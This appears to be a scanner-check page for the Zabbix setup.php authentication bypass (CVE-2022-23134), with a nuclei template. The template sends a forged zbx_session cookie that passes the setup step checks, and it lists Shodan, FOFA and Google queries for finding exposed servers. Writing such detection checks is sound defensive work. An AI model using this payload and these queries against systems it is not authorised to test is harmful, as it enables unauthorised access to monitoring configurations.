Zabbix Setup Configuration Authentication Bypass

Exploited in the wild. Listed by CISA on 2022-02-22; known to be used by ransomware.

mediumseverity

5.3CVSS score

95.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

After the initial setup process, some steps of setup.php file are reachable not only by super-administrators but also by unauthenticated users. A malicious actor can pass step checks and potentially change the configuration of Zabbix Frontend.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Zabbix setup configuration.

Fix

Apply the latest security patches or updates provided by Zabbix to fix the authentication bypass vulnerability.

How to confirm it

Send: GET {{BaseURL}}/zabbix/setup.php ; GET {{BaseURL}}/setup.php
Positive when: contains "Database" and "host" and "port" and "Zabbix" AND not contains in header "youtube_main" and "support.google.com" AND status 200

Run it with nuclei: nuclei -id CVE-2022-23134 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-23134

info:
  name: Zabbix Setup Configuration Authentication Bypass
  author: bananabr
  severity: medium
  description: After the initial setup process, some steps of setup.php file are reachable not only by super-administrators but also by unauthenticated users. A malicious actor can pass step checks and potentially change the configuration of Zabbix Frontend.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Zabbix setup configuration.
  remediation: |
    Apply the latest security patches or updates provided by Zabbix to fix the authentication bypass vulnerability.
  reference:
    - https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23134
    - https://support.zabbix.com/browse/ZBX-20384
    - https://lists.fedoraproject.org/archives/list/[email protected]/message/6SZYHXINBKCY42ITFSNCYE7KCSF33VRA/
    - https://lists.debian.org/debian-lts-announce/2022/02/msg00008.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-23134
    cwe-id: CWE-287,CWE-284
    epss-score: 0.9526
    epss-percentile: 0.99865
    cpe: cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: zabbix
    product: zabbix
    shodan-query:
      - http.favicon.hash:892542951
      - http.title:"zabbix-server"
      - cpe:"cpe:2.3:a:zabbix:zabbix"
    fofa-query:
      - icon_hash=892542951
      - app="zabbix-监控系统" && body="saml"
      - title="zabbix-server"
    google-query: intitle:"zabbix-server"
  tags: cve,cve2022,zabbix,auth-bypass,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/zabbix/setup.php"
      - "{{BaseURL}}/setup.php"

    stop-at-first-match: true

    headers:
      Cookie: "zbx_session=eyJzZXNzaW9uaWQiOiJJTlZBTElEIiwiY2hlY2tfZmllbGRzX3Jlc3VsdCI6dHJ1ZSwic3RlcCI6Niwic2VydmVyQ2hlY2tSZXN1bHQiOnRydWUsInNlcnZlckNoZWNrVGltZSI6MTY0NTEyMzcwNCwic2lnbiI6IklOVkFMSUQifQ%3D%3D"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Database"
          - "host"
          - "port"
          - "Zabbix"
        condition: and

      - type: word
        words:
          - "youtube_main"
          - "support.google.com"
        part: header
        condition: and
        negative: true

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from